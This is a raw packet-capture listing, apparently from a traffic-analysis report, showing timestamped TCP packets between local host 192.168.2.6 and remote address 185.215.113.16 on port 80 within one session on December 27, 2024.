Dec 27, 2024 08:50:50.924979925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.924993038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925009966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925014973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.925023079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925035954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925056934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.925056934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.925117016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925128937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925137043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925168037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.925651073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.925757885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925771952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925807953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925810099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.925820112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925858021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.925909042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925944090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925956011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925968885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.925977945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.925987959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926002979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926016092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926028967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.926029921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926028967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.926045895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926058054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926069975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926079035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.926084042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926100016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926122904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.926122904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.926763058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926776886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926789045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.926812887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.926831961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.927007914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927021980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927033901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927046061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927057981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927069902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927072048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.927094936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.927094936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.927144051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927156925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927169085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927181005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927191973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927195072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.927195072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.927206993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927220106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927232027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927243948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927243948 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.927258968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.927282095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.927282095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.927997112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928009033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928020954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928041935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928050995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.928055048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928067923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928086996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.928086996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.928088903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928126097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.928137064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928148985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928159952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928172112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928184986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.928220987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.928220987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.928997040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929009914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929022074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929034948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929039001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.929054022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929065943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929078102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929089069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929089069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.929089069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.929100990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929115057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929126978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929135084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.929135084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.929140091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929152012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929163933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929176092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929195881 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.929195881 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.929225922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.929889917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929902077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929913998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929925919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.929969072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.929969072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.930042982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930175066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930186987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930198908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930214882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930227041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.930227041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.930234909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930247068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930258989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930270910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930282116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930286884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.930295944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930309057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930321932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930330992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.930330992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.930336952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930351019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.930354118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.930404902 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.931045055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931057930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931067944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931119919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.931119919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.931205988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931217909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931230068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931241989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931253910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931262970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.931267977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931277990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.931281090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931296110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931308031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931328058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931329966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.931339979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931349039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.931355000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931365967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.931396961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.931396961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.931968927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.932147980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932159901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932172060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932182074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932194948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932205915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.932205915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932205915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.932219982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932231903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932245016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932260036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932262897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.932262897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.932274103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932286024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932297945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932297945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.932311058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.932332993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.932332993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.933309078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.952696085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.962364912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.962387085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.962399960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.962404013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.962435961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.962472916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.962579966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.962639093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.962650061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.962661028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.962763071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.963335991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.963452101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.963464975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.963515043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.963687897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.963766098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.964137077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.964148045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.964160919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.964227915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.964232922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.964308977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.964833021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.964874983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.964884996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.964961052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.964966059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.965034962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.965769053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.965780020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.965794086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.965806007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.965854883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.965854883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.966322899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.966368914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.966379881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.966420889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.966486931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.966634035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.967008114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.967072964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.967086077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.967128038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.967195988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.967273951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.967818022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.967859983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.967871904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.967925072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.967974901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.968020916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.968600988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.968662024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.968672991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.968719959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.968756914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.968878031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.969402075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.969448090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.969459057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.969528913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.969554901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.969609022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.970190048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.970244884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.970257044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.970323086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.970355034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.970427036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.970982075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.971012115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.971023083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.971069098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.971158028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.971191883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.971780062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.971843004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.971864939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.971913099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.971936941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.971973896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.972517967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.972542048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.972603083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.972615957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.972686052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.972753048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.972815037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.973339081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.973412037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.973427057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.973467112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.973493099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.973526001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.974189997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.974251032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.974261999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.974286079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.974325895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.974410057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.974912882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.974975109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.974991083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.975043058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.975080013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.975147009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.975814104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.975825071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.975837946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.975871086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.975877047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.975907087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.976490021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.976542950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.976553917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.976589918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.976664066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.976733923 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.977289915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.977350950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.977361917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.977399111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.977452040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.977541924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.978084087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.978146076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.978157997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.978207111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.978233099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.978415966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.978856087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.978898048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.978910923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.978933096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.979044914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.979213953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.979645967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.979686022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.979697943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.979733944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.979734898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.979806900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.979852915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.980429888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.980499029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.980513096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.980568886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.980634928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.980761051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.981288910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:50.988013983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:50.989468098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.020617008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.020638943 CET	80	49752	185.215.113.16	192.168.2.6
